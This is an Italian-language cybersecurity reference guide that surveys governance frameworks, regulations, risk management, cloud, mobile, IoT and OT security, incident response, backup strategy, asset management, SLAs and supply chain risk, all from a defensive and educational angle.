GovernStrategia, policy, ruoli (novità CSF 2.0) — la cybersecurity come responsabilità del management, non solo del reparto IT
IdentifyInventario asset, valutazione rischi
ProtectControlli preventivi, accessi, training
DetectMonitoraggio, rilevamento anomalie
RespondIncident response, contenimento
RecoverRipristino, business continuity
💡 La funzione GOVERN è la grande novità del CSF 2.0: stabilisce che la cybersecurity deve essere parte della strategia di leadership e non solo un compito tecnico delegato all'IT.
Direttiva NIS2 — UE 2022/2555
Cybersecurity UE

Aggiornamento della Direttiva NIS (2016), in vigore dal 2023 con recepimento entro ottobre 2024. Estende gli obblighi di sicurezza a molti più settori.

  • Settori essenziali: energia, trasporti, banche, infrastrutture digitali, sanità, acqua, spazio
  • Settori importanti: servizi postali, gestione rifiuti, produzione, fornitori digitali
  • Obblighi: misure di gestione del rischio, notifica incidenti gravi all'autorità competente (ACN — Agenzia per la Cybersicurezza Nazionale, in Italia) entro 24h (Early Warning) e 72h (Notifica completa con analisi)
  • Responsabilità del management: gli organi direttivi rispondono personalmente
  • Sanzioni: fino a €10M o 2% fatturato globale (settori essenziali)
Privacy by Design & Privacy by Default
Art. 25 GDPR
PrincipioSignificato pratico
Privacy by DesignLa protezione dei dati è integrata nella progettazione del sistema fin dall'inizio, non aggiunta dopo
Privacy by DefaultLe impostazioni predefinite devono essere le più privacy-friendly possibili (es. profilo privato di default)

7 principi fondanti (Ann Cavoukian): proattivo · privacy di default · privacy nel design · funzionalità totale · sicurezza end-to-end · visibilità · rispetto per la privacy utente.

Audit & Compliance
Conformità

L'audit di sicurezza è una valutazione sistematica e indipendente dei controlli di sicurezza di un'organizzazione. La compliance è l'insieme delle attività per dimostrare conformità a standard e normative.

Tipo di auditChi lo faScopo
Audit internoTeam interno dell'organizzazioneVerifica continuativa dei controlli
Audit esternoEnte terzo certificatoCertificazione (ISO 27001, SOC 2…)
Audit regolatorioAutorità (Garante, ACN…)Verifica conformità normativa (GDPR, NIS2)
Penetration testEthical hacker autorizzatoVerifica tecnica della sicurezza

Fasi di un audit ISO 27001:

  1. Stage 1 (document review): verifica della documentazione ISMS, policy, procedure
  2. Stage 2 (on-site audit): verifica implementazione reale dei controlli
  3. Sorveglianza annuale: audit intermedio per mantenere la certificazione
  4. Rinnovo triennale: audit completo ogni 3 anni
Framework/StandardAmbitoTipo
ISO/IEC 27001ISMS completoCertificabile
SOC 2 (AICPA)Cloud/SaaS providersReport di attestazione
PCI DSSPagamenti con cartaObbligatorio per merchant
NIST CSFInfrastrutture critiche USAFramework volontario
CIS ControlsControlli tecnici prioritizzatiBest practice
💡 Compliance ≠ sicurezza. Un'organizzazione può essere conforme a ISO 27001 e avere comunque vulnerabilità. La compliance è il minimo, non il massimo.
CIS Controls — Center for Internet Security
Best Practice

I CIS Controls (versione attuale: v8) sono una raccolta di 18 controlli di sicurezza prioritizzati, pubblicati dal Center for Internet Security. A differenza di ISO 27001 (che dice cosa fare) o NIST CSF (che fornisce un framework), i CIS Controls dicono esattamente cosa implementare e in quale ordine.

GruppoControlliFocus
IG1 — BaseControlli 1-6Igiene cyber essenziale — raccomandata per TUTTE le organizzazioni
IG2 — FondamentaleControlli 1-16Organizzazioni con dati sensibili e rischi moderati
IG3 — OrganizzativoTutti i 18 controlliOrganizzazioni mature con esposizione ad attacchi sofisticati

I 6 controlli base (IG1) — il minimo per qualsiasi organizzazione:

  1. Inventario e controllo degli asset hardware
  2. Inventario e controllo degli asset software
  3. Protezione dei dati
  4. Configurazione sicura degli asset
  5. Gestione account
  6. Gestione del controllo degli accessi
💡 CIS vs NIST CSF: NIST CSF è un framework strategico (orientato al risk management); CIS Controls sono pratici e operativi (lista di cose concrete da fare). Si usano in combinazione: NIST per la strategia, CIS per l'implementazione tecnica. I CIS Benchmarks sono le linee guida di hardening specifiche per ogni sistema (Windows, Linux, cloud).
TC-ACN — Tassonomia Classificazione Incidenti
Standard italiano

La TC-ACN (Tassonomia di Classificazione dell'ACN) è il nuovo standard italiano per la gestione e notifica degli incidenti di sicurezza, sviluppato dall'Agenzia per la Cybersicurezza Nazionale. Supera i limiti del modello ENISA offrendo un approccio più granulare con 144 attributi e 22 predicati.

MacrocategoriaContenuto
BC — Baseline CharacterizationNatura e estensione dell'attacco, danni subiti, confini geografici/organizzativi
TT — Threat TypeTecniche degli attaccanti: phishing, malware, vulnerabilità sfruttate
TA — Threat ActorAttori responsabili: gruppi criminali, insider, entità nazionali; motivazioni e risorse
AC — Additional ContextSistemi colpiti, correlazioni con eventi precedenti, scenari di escalation

Perché è importante: la TC-ACN consente di rispettare gli obblighi di notifica NIS2 all'ACN in modo standardizzato, migliorare la comunicazione con il CSIRT Italia, e confrontare incidenti in modo uniforme. È ispirata al modello CVSS per la descrizione multidimensionale.

💡 Strumenti per la TC-ACN: l'ACN ha pubblicato una guida ufficiale e reso disponibile un tool gratuito (Utilia SpA) per generare automaticamente i "vettori incidente", compilare le notifiche e condividerle con il CSIRT Italia. Non è solo un obbligo normativo — è un vantaggio operativo per chi la adotta.
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Risk Management

Il Rischio — Definizione e componenti

Il rischio è la probabilità che una minaccia sfrutti una vulnerabilità causando un impatto negativo su un asset.

Rischio = Probabilità × Impatto
Rischio = Minaccia × Vulnerabilità × Valore dell'asset
ComponenteDefinizioneEsempio
AssetQualsiasi risorsa di valore per l'organizzazioneDatabase clienti, server di produzione
Minaccia (Threat)Evento potenziale che può causare dannoRansomware, terremoto, errore umano
VulnerabilitàDebolezza che la minaccia può sfruttareSoftware non aggiornato, password deboli
ImpattoConseguenza se la minaccia si concretizzaPerdita dati, downtime, danno reputazionale
ProbabilitàLikelihood che la minaccia si verifichiAlta/Media/Bassa o score numerico

Fattori interni: processi, persone, tecnologie, governance dell'organizzazione.
Fattori esterni: threat actors, contesto geopolitico, normative, catena di fornitura.

Framework di Risk Management
ISO 31000

Processo sistematico e ciclico per identificare, valutare e trattare i rischi — basato su ISO 31000 e ISO/IEC 27005 per il rischio informatico.

  1. Identificazione: inventario asset, catalogo minacce e vulnerabilità, brainstorming, threat modeling
  2. Analisi: stima probabilità e impatto per ogni rischio identificato (qualitativa o quantitativa)
  3. Valutazione: prioritizzazione tramite matrice rischio (heat map), confronto con risk appetite
  4. Trattamento: scegliere la strategia per ogni rischio
  5. Monitoraggio: verifica continua, KRI (Key Risk Indicator), revisione periodica
StrategiaDescrizioneQuando usarla
Riduzione (Mitigate)Implementa controlli per ridurre probabilità/impattoRischio alto, controllo economicamente fattibile
Accettazione (Accept)Si accetta il rischio consapevolmenteRischio basso o costo controllo > impatto
Trasferimento (Transfer)Assicurazione cyber, outsourcingRischio residuo difficile da ridurre internamente
Eliminazione (Avoid)Si smette di fare l'attività rischiosaRischio inaccettabile, attività non essenziale
Audit di Sicurezza
Verifica

Valutazione sistematica e indipendente dei controlli di sicurezza per verificarne l'efficacia e la conformità agli standard.

TipoChiScopo
Audit internoTeam internoVerifica continua, preparazione a audit esterno
Audit esterno (certificazione)Ente terzo accreditatoISO 27001, SOC 2, PCI DSS
Audit regolatorioAutorità competenteGDPR (Garante), NIS2 (ACN), settore finanziario

Fasi: pianificazione → raccolta evidenze → analisi gap → report → remediation plan → follow-up.

💡 Compliance ≠ sicurezza. La conformità è il minimo richiesto, non il massimo ottenibile. Un'org può essere certificata ISO 27001 e avere comunque vulnerabilità critiche.
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Cloud Security

Modelli di Servizio Cloud
IaaS · PaaS · SaaS
ModelloGestisci tuGestisce il providerEsempi
IaaSOS, middleware, app, datiHardware, rete, storage fisicoAWS EC2, Azure VM, GCP Compute
PaaSApp e datiOS, runtime, middleware, infraHeroku, Google App Engine, Azure App Service
SaaSSolo configurazione e datiTutto il restoOffice 365, Salesforce, Google Workspace

Modelli di deployment: Public cloud (risorse condivise) · Private cloud (dedicato) · Hybrid (on-premise + cloud) · Multi-cloud (più provider).

💡 Shared Responsibility Model: il confine tra responsabilità del cliente e del provider varia per modello. In SaaS il provider è responsabile della sicurezza della piattaforma; i dati restano responsabilità del cliente.
Rischi Cloud & Contromisure
RischioContromisura
Misconfiguration (S3 pubblici, SG aperti)CSPM (Cloud Security Posture Management), policy IaC
IAM eccessivamente permissivoLeast privilege, MFA, revisione periodica permessi
Data breach su storage cloudCifratura at-rest e in-transit, CASB
Insider threatUEBA, logging accessi, separazione dei privilegi
API non protetteAPI Gateway, OAuth 2.0, rate limiting, WAF
SSRF verso metadata endpointIMDSv2 (AWS), blocco 169.254.169.254
Azure, AWS & Google Cloud — Panoramica sicurezza
AreaAWSAzureGCP
IAMAWS IAM, SCPAzure AD / Entra IDCloud IAM
Firewall/WAFSecurity Groups, AWS WAFNSG, Azure FirewallVPC Firewall, Cloud Armor
Vulnerability mgmtAmazon InspectorMicrosoft DefenderSecurity Command Center
SIEMAWS Security HubMicrosoft SentinelChronicle
LoggingCloudTrailAzure Monitor / Audit LogsCloud Audit Logs
Key ManagementKMSKey VaultCloud KMS
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Mobile Security & IoT

Mobile Security
Android · iOS
MinacciaDescrizione
Malware mobileApp malevole da store non ufficiali, adware aggressivo
Rogue Wi-Fi / Evil TwinAP falso che intercetta il traffico (MitM)
Smishing / VishingPhishing via SMS/chiamata
App permission abuseApp richiedono permessi eccessivi (microfono, posizione, contatti)
Jailbreak / RootRimuove sandbox del sistema → esposizione maggiore
SIM SwappingPortabilità fraudolenta SIM → bypass OTP via SMS

Contromisure: MDM (Mobile Device Management) per dispositivi aziendali · aggiornamenti OS e app · store ufficiali · VPN aziendale · cifratura dispositivo · remote wipe.

💡 Certificate pinning: l'app verifica il certificato del server contro una lista interna — protegge da MitM anche con CA compromessa.
IoT Security
Internet of Things

I dispositivi IoT (telecamere, sensori, router, PLC industriali) sono spesso il punto di ingresso più debole delle reti aziendali e domestiche.

ProblemaImpatto
Credenziali di default non cambiateAccesso diretto all'interfaccia admin
Firmware non aggiornatoCVE note e non patchate
Protocolli insicuri (Telnet, HTTP)Traffico in chiaro intercettabile
Assenza di cifraturaDati trasmessi in chiaro (es. telecamere)
Superficie di attacco enormeMiliardi di dispositivi, aggiornamenti difficili

Caso Mirai Botnet (2016): 600.000 dispositivi IoT con credenziali di default compromessi → DDoS da 1.1 Tbps.

Contromisure: segmentazione VLAN IoT isolata · cambio credenziali di default · aggiornamenti firmware · disabilitare servizi inutili · network monitoring.

MDM & MAM — Gestione dispositivi mobili
Enterprise mobility

In ambienti aziendali, ogni smartphone e tablet è un potenziale vettore d'attacco. MDM (Mobile Device Management) e MAM (Mobile Application Management) sono le due tecnologie per gestire e proteggere i dispositivi mobili dei dipendenti.

TecnologiaOggetto di controlloFunzionalità chiave
MDML'intero dispositivoConfigurazione remota, VPN forzata, cifratura disco, blocco/wipe remoto, tracciamento
MAMSolo le app aziendali (contenitore)Gestione app, isolamento dati aziendali da personali, policy per singola app

Funzionalità di sicurezza MDM:

  • Remote wipe: cancellazione da remoto di tutti i dati in caso di smarrimento o furto
  • Jailbreak/root detection: blocca l'accesso ai dati aziendali se il dispositivo è compromesso
  • Policy enforcement: impone PIN minimo, cifratura, blocco screenshot nelle app aziendali
  • App whitelist/blacklist: controlla quali applicazioni possono essere installate
  • Containerization: separa lo spazio di lavoro aziendale da quello personale (approccio BYOD)
Piattaforma MDMVendorCaratteristica principale
Microsoft IntuneMicrosoftIntegrazione nativa con Azure AD e Microsoft 365
VMware Workspace ONEVMware/BroadcomGestione unificata endpoint (PC + mobile)
IBM MaaS360IBMAI-driven security, analisi comportamentale
💡 BYOD (Bring Your Own Device) è il modello in cui i dipendenti usano dispositivi personali per lavoro — MAM è preferito in questo caso perché non richiede il controllo dell'intero dispositivo personale, solo del contenitore aziendale.
EDR — Endpoint Detection and Response
Sicurezza endpoint

EDR è la generazione successiva all'antivirus tradizionale. Invece di cercare solo firme note di malware, un agente EDR monitora continuamente il comportamento del sistema — processi, connessioni di rete, accessi al filesystem, chiamate di sistema — e rileva anomalie che indicano un attacco in corso, anche se il malware è sconosciuto (zero-day).

CapacitàAntivirus tradizionaleEDR
RilevamentoFirme noteComportamento + firme + ML
RispostaQuarantena fileIsolamento host, kill process, rollback
VisibilitàFile systemProcessi, rete, registry, memoria
Threat hunting✔ Ricerca proattiva di IoC
ForenseMinimaTimeline completa degli eventi

XDR (Extended Detection and Response) amplia EDR integrando endpoint, rete, email, cloud in un'unica piattaforma di rilevamento correlato.

BYOD e rischi specifici: un dispositivo personale (BYOD) che accede alla rete aziendale senza agente EDR è un punto cieco — non monitorato, non conforme, non gestibile in caso di compromissione. Soluzioni: NAC (Network Access Control) per bloccare l'accesso se non conforme, o MAM per isolare i dati aziendali.

⚠️ Esempi di piattaforme EDR/XDR: CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, Carbon Black, Trend Micro Vision One. Rilevare non basta — la risposta deve essere veloce: il tempo medio di permanenza di un attaccante in rete è ancora di decine di giorni.
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ICS / OT / SCADA

OT vs IT — Operational Technology
Industria

L'IT (Information Technology) gestisce dati e informazioni. L'OT (Operational Technology) controlla processi fisici — macchinari, impianti, infrastrutture critiche.

CaratteristicaITOT
Priorità CIAConfidenzialità → Integrità → DisponibilitàDisponibilità → Integrità → Confidenzialità
Ciclo di vita sistemi3–5 anni15–30 anni
AggiornamentiFrequenti, automaticiRari, pianificati, spesso impossibili
Downtime tolleratoOre/giorni accettabiliIntollerabile (rischio fisico)
ProtocolliTCP/IP, HTTP, TLSModbus, DNP3, PROFINET, OPC-UA
Testing sicurezzaPentest consentitoPentest pericoloso — può bloccare impianto
⚠️ Un attacco a sistemi OT può avere conseguenze fisiche reali: blackout, esplosioni, rilascio di sostanze pericolose. Stuxnet (2010) ha distrutto centrifughe nucleari iranesi manipolando i PLC.
SCADA, DCS & PLC
Controllo industriale
SistemaAcronimoFunzioneEsempio
SCADASupervisory Control and Data AcquisitionSupervisione e controllo remoto su aree geografiche vasteRete elettrica, gasdotti, acquedotti
DCSDistributed Control SystemControllo distribuito di processi continui in impiantiRaffinerie, centrali elettriche, industria chimica
PLCProgrammable Logic ControllerControllo locale di macchinari e processi discretiLinee di produzione, robot industriali
HMIHuman-Machine InterfaceInterfaccia operatore per visualizzare e comandarePannello di controllo operatore
RTURemote Terminal UnitAcquisizione dati da sensori remotiStazioni di monitoraggio pipeline

Architettura tipica SCADA: Sensori/attuatori → RTU/PLC → Rete OT → Server SCADA → HMI operatore → (eventuale) collegamento IT aziendale.

Rischi & Vettori di Attacco OT
VettoreDescrizioneEsempio reale
Air gap violatoUSB infetta portata da operatore in zona isolataStuxnet — diffusione via USB
Accesso remoto insicuroVPN o RDP esposti per manutenzione fornitoriOldsmar water plant (2021)
Convergenza IT/OTCollegamento rete IT ad OT senza segmentazioneColonial Pipeline (2021)
Firmware non patchatoPLC con vulnerabilità note e non aggiornabiliCVE nei PLC Siemens S7
Protocolli legacy insicuriModbus/DNP3 senza autenticazione né cifraturaSniffing e replay attack
💡 Contromisure: segmentazione rete IT/OT con DMZ industriale, monitoraggio passivo (no-touch), whitelist applicativa, gestione accessi remoti con jump server dedicato.
IEC 62443 — Standard OT Security
Standard

Standard internazionale per la sicurezza dei sistemi di automazione e controllo industriale (IACS). Equivalente dell'ISO 27001 per il mondo OT.

SerieTitoloContenuto
62443-1GeneralTerminologia, concetti, modelli
62443-2Policies & ProceduresRequisiti per owner e operatori di impianti
62443-3SystemSecurity Level (SL 1-4), zone e conduit
62443-4ComponentRequisiti per produttori di componenti OT

Security Level (SL): SL1 (protezione casuale) → SL2 (attaccante intenzionale, risorse limitate) → SL3 (attaccante sofisticato) → SL4 (nation-state).

Complementare: NIST SP 800-82 — guida americana per la sicurezza dei sistemi ICS/SCADA.

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Incident Management

Fasi di Incident Response
NIST SP 800-61
#FaseAttività principali
1PreparationPolicy, procedure, team IR, playbook, strumenti, training
2Detection & AnalysisIdentificazione incidente, triage, classificazione severità
3ContainmentIsolare sistemi compromessi (short-term), preservare prove
4EradicationRimuovere malware, chiudere vettori d'accesso, patch
5RecoveryRipristino sistemi, verifica funzionalità, monitoraggio intensivo
6Post-incident (Lessons Learned)Report, root cause analysis, miglioramenti
⚠️ Non spegnere mai un sistema compromesso prima di raccogliere prove (RAM dump, log) — si perderebbero le evidenze.
Forensic Digitale
DFIR

Disciplina che raccoglie, preserva e analizza le prove digitali mantenendo la chain of custody (catena di custodia) per uso legale.

  • Ordine di volatilità: raccogliere prima le prove più volatili (RAM → processi → connessioni → log → disco)
  • Imaging forense: copia bit-per-bit del disco con hash MD5/SHA256 per verificare integrità
  • Analisi artefatti: registry Windows, prefetch, log eventi, timestamp MACB (Modified, Accessed, Changed, Born)
  • Timeline analysis: ricostruzione cronologica degli eventi
  • Strumenti: Autopsy, FTK, Volatility (RAM), Sleuth Kit
SIEM — Security Information and Event Management

Piattaforma che raccoglie, normalizza e correla log da tutta l'infrastruttura per rilevare minacce in tempo reale e supportare le indagini forensi.

FunzioneDescrizione
Log aggregationRaccolta centralizzata da firewall, IDS, server, endpoint
NormalizationFormato comune per log eterogenei
CorrelationRegole che collegano eventi multipli → rilevamento attacchi complessi
AlertingNotifiche su eventi critici al SOC
RetentionConservazione log per compliance (es. 12 mesi per NIS2)

Esempi: Splunk, IBM QRadar, Microsoft Sentinel, Elastic SIEM, Wazuh (open source).

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Business Continuity & Disaster Recovery

BCP & DRP
Continuità operativa
PianoAcronimoFocus
Business Continuity PlanBCPMantiene operativi i processi critici durante un'interruzione
Disaster Recovery PlanDRPRipristino dei sistemi IT dopo un disastro
Business Impact AnalysisBIAIdentifica processi critici, stima impatto economico del downtime
Incident Response PlanIRPRisposta a incidenti di sicurezza (cyber)

Il BCP comprende il DRP — il DRP è il sottopiano che gestisce il ripristino IT.

RTO & RPO
Metriche DR
MetricaNome completoDefinizione
RTORecovery Time ObjectiveTempo massimo accettabile per ripristinare il servizio dopo un'interruzione
RPORecovery Point ObjectiveQuantità massima di dati che si può perdere (finestra temporale tra un backup e l'altro)
Disastro accade alle 14:00
Ultimo backup alle 12:00 → RPO = 2 ore (si perdono 2 ore di dati)
Sistemi ripristinati alle 18:00 → RTO = 4 ore
💡 RTO e RPO bassi = costi alti (hot standby, replica real-time). RTO e RPO alti = costi bassi ma maggiore perdita di dati/operatività.
Strategie di Backup
3-2-1

Regola 3-2-1: 3 copie dei dati · su 2 supporti diversi · di cui 1 offsite (fuori sede).

TipoCosa salvaDimensioneTempo ripristino
FullTuttoGrandeRapido
IncrementalSolo modifiche dall'ultimo backup (full o incr.)PiccolaLento (catena)
DifferentialModifiche dall'ultimo fullMediaMedio

Tecniche avanzate: mirroring (sincrono, RPO≈0) · snapshot · replicazione asincrona · backup immutabile (WORM — Write Once Read Many).

⚠️ Il ransomware può cifrare anche i backup se collegati alla rete. I backup offline (air-gapped) o immutabili sono l'unica garanzia reale.
Regola 3-2-1 — Strategia di backup
Best practice

La regola 3-2-1 è lo standard minimo per una strategia di backup resiliente, raccomandata da CISA e da tutti i principali framework di sicurezza.

NumeroSignificatoRazionale
3Almeno 3 copie totali dei dati1 copia = nessuna copia. 2 copie = guasto contemporaneo possibile. 3 = margine sicuro
2Su 2 tipi di supporto diversiEvita che un solo tipo di guasto (es. guasto controller) distrugga tutto
1Almeno 1 copia offsite (fuori sede)Protegge da disastri fisici: incendio, allagamento, furto, ransomware locale

Evoluzione — Regola 3-2-1-1-0: l'aggiornamento moderno aggiunge:

  • +1 copia offline/air-gapped — non raggiungibile dalla rete, immune al ransomware
  • +0 errori verificati — i backup devono essere testati periodicamente. Un backup non testato è un backup che non esiste.

Tipi di backup:

TipoCosa copiaVelocità backupVelocità ripristino
FullTuttoLentaVeloce (1 set)
IncrementaleSolo modifiche dall'ultimo backup (qualsiasi tipo)VelocissimaLenta (catena dipendente)
DifferenzialeTutte le modifiche dall'ultimo FullMediaMedia (Full + 1 diff)
⚠️ Il ransomware punta specificamente ai backup connessi in rete. Una copia offline/air-gapped è l'unica difesa certa contro il ransomware. Il costo medio di un attacco ransomware nel 2023 è $4.45M (IBM) — un backup offline costa centesimi al confronto.
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Asset Management

ITAM & ITIL
Gestione asset

ITAM (IT Asset Management) è il processo di inventario, classificazione e gestione del ciclo di vita di tutti gli asset informatici di un'organizzazione.

ITIL (Information Technology Infrastructure Library) è il framework di best practice più diffuso per la gestione dei servizi IT. Non è uno standard certificabile come ISO 27001, ma una raccolta di pratiche organizzative.

Processo ITILDescrizioneRilevanza sicurezza
Configuration ManagementCMDB — database di tutti gli asset e le loro relazioniSai cosa esiste → sai cosa proteggere
Change ManagementProcesso formale per approvare modifiche all'infrastrutturaPreviene misconfiguration accidentali
Incident ManagementProcesso di risposta a interruzioni del servizioBaseline per l'incident response di sicurezza
Problem ManagementAnalisi causa radice degli incidenti ricorrentiIdentifica vulnerabilità sistemiche
Patch ManagementProcesso di distribuzione aggiornamentiRiduzione CVE sfruttabili
💡 Non puoi proteggere ciò che non sai di avere. ITAM è il prerequisito di qualsiasi programma di sicurezza serio. Un asset non inventariato è per definizione non protetto.
COBIT — Control Objectives for IT
IT Governance

COBIT (pubblicato da ISACA) è un framework di governance e management IT che collega gli obiettivi di business agli obiettivi IT, includendo la sicurezza come componente integrata.

FrameworkFocusAudience
COBIT 2019IT Governance, risk, sicurezza integrataCIO, CISO, auditor, board
ITIL v4Service management operativoIT operations, service desk
ISO/IEC 19770Standard specifico per ITAMAsset manager, procurement
ISO/IEC 27001Information security managementCISO, security team

I framework sono complementari, non alternativi — un'organizzazione matura usa tutti e quattro in modo integrato.

Ciclo di Vita degli Asset
Lifecycle
FaseAttivitàRischio di sicurezza
Acquisizione / ProcurementValutazione sicurezza fornitori, contratti, SLASupply chain compromise, backdoor hardware
DeploymentHardening, inventario in CMDB, assegnazione ownerMisconfiguration, asset shadow IT
OperationsPatch, monitoring, backup, change managementVulnerabilità non patchate, deriva configurazione
OttimizzazioneConsolidamento, aggiornamento, TCO analysisAsset obsoleti con vulnerabilità non supportate
DismissioneSanitizzazione dati, decommissioning sicuroData leakage da asset dismessi (hard disk, cloud)
⚠️ La fase di dismissione è spesso trascurata — hard disk e dispositivi rimossi senza sanitizzazione sicura sono una fonte comune di data breach. Standard: NIST SP 800-88 per la sanitizzazione dei media.
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SLA & Service Management

SLA — Service Level Agreement
Contratto di servizio

Un SLA è un contratto formale tra fornitore di servizi e cliente che definisce il livello di servizio atteso, come viene misurato e cosa accade se non viene rispettato. È fondamentale per i contratti IT, outsourcing e cloud.

Elemento SLADescrizioneEsempio
Obiettivi di servizioCosa il servizio deve fornireDisponibilità del sistema 24/7
Metriche di misurazioneCome si valuta la performanceUptime %, tempo di risposta medio, ticket risolti entro 4h
Responsabilità delle partiChi è responsabile di cosaIl fornitore gestisce infrastruttura; il cliente gestisce i dati
Livelli di servizioStandard di qualità minimi garantiti99.9% uptime = max ~8.7h downtime/anno
Penali (SLA breach)Conseguenze se il livello non è rispettatoCrediti, rimborsi, possibilità di recesso

Calcolo disponibilità (Uptime SLA):

SLADowntime max/annoDowntime max/mese
99%~87.6 ore~7.3 ore
99.9%~8.76 ore~43.8 minuti
99.99% (4 nines)~52.6 minuti~4.4 minuti
99.999% (5 nines)~5.26 minuti~26.3 secondi
💡 Un SLA "99.9% uptime" sembra ottimo ma permette quasi 9 ore di downtime all'anno. Per servizi mission-critical (pagamenti, sanità) servono 4 o 5 nines. Controlla sempre come viene calcolato l'uptime: i periodi di manutenzione programmata sono spesso esclusi.
Tipi di SLA e impatto sulla sicurezza
Governance
Tipo SLADescrizioneEsempio
Customer SLAAccordo personalizzato per un cliente specificoContratto enterprise con tempi di supporto dedicati
Service SLAStesso standard per tutti i clienti di un servizioSLA standard di AWS per EC2
Multilevel SLALivelli differenziati (corporate, dipartimento, servizio)SLA diversi per IT interno vs clienti esterni

SLA e cybersecurity: gli SLA devono includere clausole specifiche di sicurezza:

  • Incident notification: il fornitore deve notificare entro X ore (allineato con NIS2: 24h Early Warning)
  • Data breach notification: obbligatorio entro 72h per GDPR
  • Penetration test rights: il cliente ha diritto ad audit di sicurezza periodici
  • Data location: dove fisicamente risiedono i dati (rilevante per GDPR)
  • Exit strategy: come vengono restituiti e cancellati i dati alla fine del contratto
⚠️ Un SLA senza clausole di sicurezza esplicite è incompleto. Verificare sempre: chi è responsabile del backup? Chi gestisce le patch? Cosa succede in caso di data breach del fornitore? Questi punti vanno negoziati PRIMA della firma.
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Supply Chain Security

Rischi nella Supply Chain
Third-party risk

La supply chain di sicurezza riguarda i rischi introdotti da fornitori, partner, software di terze parti e hardware — qualsiasi elemento esterno che entra nell'ecosistema dell'organizzazione.

VettoreDescrizioneEsempio reale
Software supply chainAggiornamento software legittimo contenente backdoorSolarWinds (2020) — 18.000 organizzazioni compromesse
Dependency confusionPacchetto npm/pip malevolo con nome simile a package internoAttacchi su PyPI e npm 2021-2022
Hardware compromessoChip o dispositivo con backdoor installata in fabbricaAllegazioni Bloomberg "Big Hack" (supermicro)
Fornitore compromessoAccesso a sistemi del cliente via credenziali fornitoreTarget breach (2013) — via HVAC contractor
Open source malevoloMaintainer inserisce codice malevolo in libreria popolareevent-stream npm (2018), XZ Utils (2024)
⚠️ Il 62% degli attacchi alle organizzazioni passa attraverso terze parti (Accenture, 2023). La sicurezza perimetrale non protegge da un fornitore fidato già compromesso.
Framework per la Supply Chain
ISO 28000
Framework/StandardAmbitoContenuto
ISO 28000Supply chain fisiche e logisticheISMS specifico per la catena di fornitura — risk assessment fornitori, sicurezza trasporti
NIST SP 800-161ICT supply chain risk managementPratiche per gestire i rischi ICT nella catena di approvvigionamento
C-TPATCommercio internazionale USACustoms-Trade Partnership Against Terrorism — requisiti sicurezza doganale
SLSASoftware supply chainSupply-chain Levels for Software Artifacts — framework Google per integrità build

Vendor Risk Management (VRM) — processo di valutazione continua dei fornitori:

  1. Inventario fornitori con classificazione per criticità e accesso
  2. Questionari di sicurezza (es. SIG, CAIQ per cloud)
  3. Audit periodici on-site o documentali
  4. Clausole contrattuali (diritto di audit, SLA sicurezza, breach notification)
  5. Monitoraggio continuo (scoring automatico, news monitoring)
SBOM — Software Bill of Materials
Trasparenza

Un SBOM è un inventario formale e strutturato di tutti i componenti, librerie e dipendenze che compongono un'applicazione software — l'"etichetta degli ingredienti" del software.

  • Permette di sapere immediatamente se un'applicazione usa una libreria con CVE appena scoperta (es. Log4Shell)
  • Richiesto dalla Executive Order USA 14028 (2021) per software venduto al governo americano
  • Formato standard: SPDX (Linux Foundation) o CycloneDX (OWASP)
Senza SBOMCon SBOM
Log4Shell scoperta → settimane per capire quali sistemi usano Log4jLog4Shell scoperta → risposta in ore — SBOM dà subito la lista
Audit dipendenze manuale e incompletoInventario automatico, aggiornato ad ogni build
💡 Strumenti per generare SBOM: Syft, CycloneDX tools, GitHub Dependency Graph, Snyk. Integrabili in pipeline CI/CD per generazione automatica ad ogni release.
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Nuove Tecnologie & Rischi Cyber

Tecnologie Disruptive — Rischi e Opportunità
Schumpeter

Una tecnologia dirompente (disruptive) è una tecnologia che trasforma radicalmente un settore, rendendo obsoleti i prodotti o modelli esistenti.

Il concetto nasce dalla teoria della "distruzione creatrice" di Joseph Schumpeter (1942): il capitalismo avanza attraverso cicli di innovazione in cui le nuove tecnologie distruggono quelle vecchie creando nuovo valore.

CaratteristicaDescrizione
Performance iniziale inferioreAll'inizio peggiore delle soluzioni esistenti su metriche tradizionali
Nuovo mercato o segmentoServe prima utenti marginali o crea mercati inesistenti
Miglioramento rapidoEvolve velocemente fino a superare il mainstream
Abbassamento barriereRende accessibile ciò che prima era costoso o complesso

Esempi nel contesto cyber:

  • Cloud computing → ha reso obsoleto l'hosting on-premise, creando nuovi rischi (misconfiguration, shared responsibility)
  • AI/ML → abbassa la barriera per condurre attacchi sofisticati (phishing personalizzato, exploit automatizzato)
  • IoT → miliardi di dispositivi connessi con sicurezza spesso inesistente → botnet Mirai
  • Blockchain → elimina intermediari ma introduce nuovi vettori (smart contract, chiavi private)
  • Edge computing → elaborazione distribuita → superficie di attacco distribuita
⚠️ Ogni tecnologia disruptive porta nuovi rischi che le difese tradizionali non coprono. La cybersecurity deve evolvere insieme alla tecnologia, non dopo.
AI & Machine Learning — Rischi Cybersecurity
Disruptive tech

L'AI è un moltiplicatore di forza sia per i difensori che per gli attaccanti. Abbassa la barriera tecnica per condurre attacchi sofisticati.

AI usata dagli ATTACCANTIDescrizione
Phishing generativoLLM genera email personalizzate, grammaticalmente perfette, in qualsiasi lingua
DeepfakeVoce/video sintetici per impersonare CEO o autorità (Business Email Compromise)
Fuzzing automatizzatoAI trova vulnerabilità 0-day molto più velocemente del fuzzing tradizionale
Evasione AV/EDRAI genera varianti di malware che sfuggono ai sistemi signature-based
Attacchi adversarialInput manipolati per ingannare modelli AI (es. immagini che bypassano riconoscimento facciale)
AI usata dai DIFENSORIDescrizione
UEBAUser and Entity Behavior Analytics — rileva anomalie comportamentali
SOARSecurity Orchestration, Automation and Response — automatizza risposta incidenti
Threat huntingML identifica pattern di attacco non noti nelle telemetrie
Analisi malwareClassificazione automatica di sample tramite ML
⚠️ Teoria di Schumpeter applicata alla cybersecurity: ogni tecnologia disruptive crea nuove opportunità ma anche nuovi vettori di attacco. L'AI accelera entrambe le direzioni.
Edge Computing — Rischi
Disruptive tech

L'edge computing sposta l'elaborazione dati vicino alla fonte (sensori, dispositivi IoT, utenti) invece che nel cloud centrale. Riduce latenza ma distribuisce la superficie di attacco.

RischioDescrizioneContromisura
Superficie distribuitaMigliaia di nodi edge fisicamente accessibiliTamper detection, cifratura storage locale
Patch management difficileAggiornare migliaia di edge node è complessoOrchestrazione centralizzata (Kubernetes, edge fleet)
Dati sensibili in periferiaDati processati localmente senza protezioni enterpriseCifratura at-rest, TLS, data minimization
Supply chain hardwareHardware compromesso prima della consegnaSecure boot, attestazione hardware (TPM)
